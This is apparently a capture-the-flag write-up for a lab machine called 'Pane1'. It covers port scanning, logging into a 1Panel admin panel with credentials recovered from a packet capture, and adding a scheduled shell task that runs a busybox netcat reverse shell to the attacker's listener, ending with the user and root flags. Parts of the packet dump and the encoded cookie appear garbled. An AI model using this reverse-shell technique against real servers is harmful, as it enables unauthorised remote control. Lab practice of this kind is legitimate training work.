

# Pane1

```
└─(root@kali)-[~]
└─# nmap -A -p- 192.168.31.200
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 03:23 EDT
Nmap scan report for Pane1 (192.168.31.200)
Host is up (0.00028s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_ http-server-header: Apache/2.4.62 (Debian)
|_ http-title:
\xE8\xBF\x90\xE7\xBB\xB4\xE7\xAE\xA1\xE7\x90\x86\xE9\x9D\xA2\xE6\x9D\xBF
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_     httponly flag not set
38415/tcp open  http     Go1ang net/http server
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie:
pane1_public_key=LS0tLS1CRudJTiBQUVJMSUMgs0VZLS0tLS0KTU1jQklqQU5CZ2txaGtpRzl3MEJ
BUUVGVGFQ0FROEFNSU1CQ2dLQ0FRRUE1Z1l1UUXFaT05wV3h5Y1pqSndZbWp4Y1VuYnkyVUFZVVG4K0t
BZmpna1liTVN2SU5ma1N4a3ZPMGIvNURud0F4UG9lYUZMTHNCTHhpOG9rVmdwRkQ4CjQ1U3RlMm1qa1l
XRVBXM29jwnEwVDMXODcremk0aTBxY1pvZU9pRWVzRUNCQksxTHhSeGowV1E4bnZSMTRnbk8KYktrZE
wL01xR040Nk9TLO9XU0RkeXZxWA0OGttrE1av1QxMCSxwGNzNXBEMn1tUUXswU10LOVEQVEyQ0wwRQp
zR1BKOUoreHJSSGVQMn11cTgrQ2h1NmFWWhmOE5oYmZzdVRQTW9TLy9DQVZTN0ZISmw5ZDA2aE5zbXh
DV2pOCmJrL01VYnVMU1mZk9jTWxmaW90ewNqL1VmNDJTQWZCVWZHTG5Na2ZKcvprbmhsV3V3Q2NINUV
JZ29wMW16T1Yke1FJREFRQUIKLS0tLS1FTkQgUFVCTE1DIETfWS0tLS0tCg%3D%3D; Path=/; Max-
Age=604800
|   Date: Tue, 12 Aug 2025 07:24:05 GMT
|   Content-Length: 1410
|   <!DOCTYPE html>
|   <html lang="zh-CN">
|   <head>
|   <meta charset="UTF-8">
|_  <meta name="viewport" content="width=device-w
|_ http-title:
\xE6\x9A\x82\xE6\x97\xB6\xE6\x97\xA0\xE6\xB3\x95\xE8\xAE\xBF\xE9\x97\xAE
```



80端口是绕口令 administrator 1

38415是1panel

80登录进去

服务状态

Nginx 运行中

MySQL 运行中

Redis 已停止

1Panel 122b059247 运行中

PHP-FPM 运行中

122b059247

应该是1panel的安全入口。账户密码在数据包中找到的root superpassword123

应用层过滤器: <Ctrl+>

分组长流: 字符串: username

Options: 应用: 区分大小写 Backwards Multiple occurrences

Time	Source	Destination	Protocol	Length	Info
824.35.520876	63.33.151.92	192.168.3.242	TCP	1466	443 → 65133 [ACK] Seq=42801 Ack=501 Win=28160 Len=0 TSval=2353744976 TSecr=141804786 [TCP PDU reassembled in 829]
825.35.522912	192.168.3.242	63.33.151.92	TCP	66	65133 → 443 [ACK] Seq=501 Ack=1401 Win=138304 Len=0 TSval=141804802 TSecr=2353744976
826.35.522980	192.168.3.242	63.33.151.92	TCP	66	65133 → 443 [ACK] Seq=501 Ack=2081 Win=128960 Len=0 TSval=141804802 TSecr=2353744976
827.35.522992	192.168.3.242	63.33.151.92	TCP	66	65133 → 443 [ACK] Seq=501 Ack=4201 Win=127616 Len=0 TSval=141804802 TSecr=2353744976
828.35.523005	192.168.3.242	63.33.151.92	TCP	66	65133 → 443 [ACK] Seq=501 Ack=5601 Win=126272 Len=0 TSval=141804802 TSecr=2353744976
829.35.523717	63.33.151.92	192.168.3.242	TLV1.2	1093	Certificate, Server Key Exchange, Server Hello Done
830.35.523986	192.168.3.242	63.33.151.92	TCP	66	65133 → 443 [ACK] Seq=501 Ack=6628 Win=125548 Len=0 TSval=141804802 TSecr=2353744980
831.35.531724	192.168.3.242	63.33.151.92	TCP	66	[TCP Window Update] 65133 → 443 [ACK] Seq=501 Ack=6628 Win=131072 Len=0 TSval=141804802 TSecr=2353744980
832.35.532523	192.168.3.242	63.33.151.92	TLV1.2	141	Client Key Exchange
833.35.540176	62.e9111ef182.42	192.168.3.242	TCP	52	Conf. Root = 28572/0/02.e9111ef182.32 Cost = 0 Port = 0x8007
834.35.543613	192.168.3.242	192.168.3.242	TCP	74	80 → 65135 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=2564136143 TSecr=2973787214 WS=128
835.35.543837	192.168.3.242	192.168.3.217	TCP	66	65135 → 80 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=2973787292 TSecr=2564136143
836.35.544192	192.168.3.242	192.168.3.217	HTTP	735	POST /index.php HTTP/1.1 (application/x-www-form-urlencoded)
837.35.549863	192.168.3.217	192.168.3.242	TCP	66	80 → 65135 [ACK] Seq=1 Ack=670 Win=64512 Len=0 TSval=2564136149 TSecr=2973787292
838.35.551481	192.168.3.217	192.168.3.242	HTTP	1348	HTTP/1.1 200 OK (text/html)
839.35.551595	192.168.3.242	192.168.3.217	TCP	66	65135 → 80 [ACK] Seq=670 Ack=1283 Win=130496 Len=0 TSval=2973787299 TSecr=2564136151
840.35.559955	192.168.3.242	192.168.3.217	HTTP	571	GET /favicon.ico HTTP/1.1
841.35.604913	192.168.3.217	192.168.3.242	HTTP	557	HTTP/1.1 404 Not Found (text/html)
842.35.605987	192.168.3.242	192.168.3.217	TCP	66	65135 → 80 [ACK] Seq=1175 Ack=1774 Win=130624 Len=0 TSval=2973787353 TSecr=2564136204
843.35.714193	111.206.149.226	192.168.3.242	RTCP	114	Receiver Report Application specific ( loss ) subtype=4extended report (RFC 3611)
844.35.763112	63.33.151.92	192.168.3.242	TCP	66	443 → 65133 [ACK] Seq=6628 Ack=576 Win=28160 Len=0 TSval=2353745223 TSecr=1418048032
845.35.763388	192.168.3.242	63.33.151.92	TLV1.2	117	Change Cipher Spec, Encrypted Handshake Message
846.35.882287	111.206.149.179	192.168.3.242	UDP	138	8005 → 57362 Len=0
847.35.888653	192.168.3.242	111.206.149.179	UDP	123	57362 → 8005 Len=81

Frame 836: 735 bytes on wire (5880 bits), 735 bytes captured (5880 bits) on interface en0, id 0

Ethernet II, Src: ea:4d:54:fa:e8:30 (ea:4d:54:fa:e8:30), Dst: Apple\_73:49:f6 (8c:85:90:73:49:f6)

Internet Protocol Version 4, Src: 192.168.3.242, Dst: 192.168.3.217

Transmission Control Protocol, Src Port: 65135, Dst Port: 80, Seq: 1, Ack: 1, Len: 669

Hypertext Transfer Protocol

HTML Form URL Encoded: application/x-www-form-urlencoded

Form item: "username" = "root"

Key: username

Value: root

Form item: "password" = "superpassword123"

Key: password

Value: superpassword123

0000 8c 85 90 73 49 f6 ea 4d 54 fa e8 30 00 00 00 00 ...I . M T . 0 : E

0010 82 c1 00 00 00 00 00 e7 0b c8 a8 83 f2 c8 a8 ... e @ . . . . .

0020 03 0f fa 6f 00 00 50 8c 65 14 12 43 a5 51 c8 80 10 ... o P e . < Q . . .

0030 00 00 0e ce 00 00 01 01 08 0a b1 40 64 9c 98 05 ... . . . . . 80 . . .

0040 9c 0f 58 4f 53 54 20 2f 69 6e 54 65 7a 2b 70 68 ... . . . . . POST / index.ph

0050 70 28 48 54 54 50 2f 31 2e 31 8d 0a 48 6f 73 74 ... p HTTP/1.1 . Host

0060 3a 20 31 39 32 2e 31 36 38 2e 33 2e 32 31 37 8d ... : 192.16 8.3.217

0070 0a 55 73 65 72 2d 41 67 65 6e 74 3a 2b 48 6f 7a ... User-agent: Moz

0080 69 6c 6c 61 2f 35 2e 30 20 28 4d 61 63 69 6e 74 ... illa/5.0 (MacInt

0090 6f 73 68 3b 20 49 6a 65 6c 20 4d 61 63 69 6e 74 ... osh; int el Mac O

00a0 53 28 58 20 31 30 2e 31 35 3b 20 72 76 3a 31 34 ... 3 X 10.1.5; rv:14

00b0 31 2e 30 20 2d 47 65 63 60 6f 2f 52 30 31 30 30 ... 1.0) Gecko/20100

00c0 31 3b 31 20 4e 49 72 65 66 6f 78 2f 31 34 31 2a ... 101 Firefox/141.

00d0 30 0d 0a 41 63 63 65 70 74 3a 20 74 65 78 74 2f ... 0 . Accept : text/

00e0 68 74 6d 6c 2c 61 70 78 6c 69 63 61 74 69 6f 6e ... html,application

00f0 2f 70 68 74 6d 6c 20 78 6d 6c 2c 61 70 78 6c 69 ... /html+xml,appli

0100 63 61 74 69 6f 6e 2f 78 6d 6c 3b 71 3d 30 2a 39 ... cation/x-ml;q=0.9

0110 2a 2a 2f 2a 3b 71 3d 30 2a 38 8d 0a 41 63 63 65 ... \*/\*;q=0.8 . Acc

0120 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 78 68 20 ... pt-Langu age: zh-

0130 43 4e 2c 7a 68 3b 71 3d 30 2e 38 2c 7a 68 20 54 ... Cn;zh-cn; 0.8,zh-T

0140 57 3b 71 3d 30 2e 37 2c 7a 68 2d 48 40 3b 71 3d ... User-Agent: zh-HK;ie

0150 30 2a 35 2c 65 6e 2d 53 3b 71 3d 30 2a 33 2c ... 0.5,en-US;q=0.3,

0160 65 4e 3b 71 3d 30 28 32 60 0a 41 63 63 65 70 74 ... en;q=0.2 . Accept

0170 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c ... ;encoding = g;stip

0180 20 64 65 66 6c 61 74 65 2c 20 62 72 8d 0a 43 6f ... deflate , br ; Co

0190 6a 74 65 6e 74 2d 54 79 65 3a 20 61 70 78 6c ... ntent-type: appli

01a0 69 63 61 74 69 6f 6e 2f 78 2d 77 77 72 2d 66 6f ... ication/x-www-fo

01b0 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a 43 ... rm-urlencoded ; Co

01c0 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 ... content-length: 3

01d0 39 0d 0a 4f 72 69 67 69 6e 3a 20 68 74 74 70 3a ... 9 . Origin n: http:

01e0 2f 2f 31 39 32 2e 31 36 38 2a 33 2e 32 31 37 8d ... //192.16 8.3.217

01f0 0a 53 65 63 2d 47 50 43 3a 20 31 8d 0a 43 6f 6e ... Sec-OPC : 1 . Con

0200 6e 63 74 69 6f 6e 3a 20 65 65 65 70 2d 65 6c ... nection: keep-al

0210 69 75 65 8d 0a 52 65 66 65 72 65 72 3a 20 68 74 ... Live .Ref eren: ht

0220 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2a 33 2e 32 ... tps://192.168.3.2

0230 31 2f 2f 69 6e 64 65 78 2e 70 68 70 8d 0a 43 6f ... 17/index .php Co

0240 6f 69 65 3a 20 50 48 50 53 45 53 49 48 3e ... cide: PM P555De

0250 6a 68 32 66 31 62 61 37 32 69 6e 71 64 6e 75 70 ... on?libar 21qnm0u

0260 76 6e 62 76 31 64 72 71 67 30 8d 0a 65 70 67 72 ... v?b?line g8 .Ugr

0270 61 64 65 20 49 6e 73 65 63 75 72 65 2d 52 65 71 ... ade-Inse cure-Req

进入到面板之后，使用计划任务弹shell

\* 任务类型

Shell 脚本

\* 任务名称

111

\* 执行周期

每 N 秒



10

秒

添加

☐ 在容器中执行（无需再输入进入容器命令）

\* 脚本内容

```
1 busybox nc 192.168.31.195 7777 -e sh
```

☐ 是否告警

定时任务执行失败时将触发短信告警

\* 保留份数

—

7

+

执行记录及日志保留份数

```
(root@kali) - [/opt/tools]
# python3 penelope/penelope.py -p 7777
[+] Listening for reverse shells on 0.0.0.0:7777 → 127.0.0.1 • 192.168.31.195
> 🍷 Main Menu (m) 🍷 Payloads (p) 🍷 Clear (Ctrl-L) 🍷 Quit (q/Ctrl-C)
[+] Got reverse shell from Panel1-192.168.31.200-Linux-x86_64 🍷 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 🍷
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/Panel1-192.168.31.200-Linux-x86_64/2025_08_12-03_28_41-709.log 🍷

root@Panel1:/opt/1panel/task/shell/111# ls
20250812032841.log
root@Panel1:/opt/1panel/task/shell/111# cd /root/
root@Panel1:/root# ls
root.txt
root@Panel1:/root# cat root.txt
flag{root-e07910a06a086c83ba41827aa00b26ed}
[+] Got reverse shell from Panel1-192.168.31.200-Linux-x86_64 🍷 Assigned SessionID <2>
root@Panel1:/root#
root@Panel1:/root# cat root.txt
flag{root-e07910a06a086c83ba41827aa00b26ed}
root@Panel1:/root#
root@Panel1:/root#
root@Panel1:/root#
root@Panel1:/root#
root@Panel1:/root#
[+] Got reverse shell from Panel1-192.168.31.200-Linux-x86_64 🍷 Assigned SessionID <3>
root@Panel1:/root# cd /home/
root@Panel1:/home# ls
kaada
root@Panel1:/home# cd kaada/
root@Panel1:/home/kaada# ls
user.txt
root@Panel1:/home/kaada# cat user.txt
flag{user-ef68ba312de0daa3dd200a3f9275a6f6}
```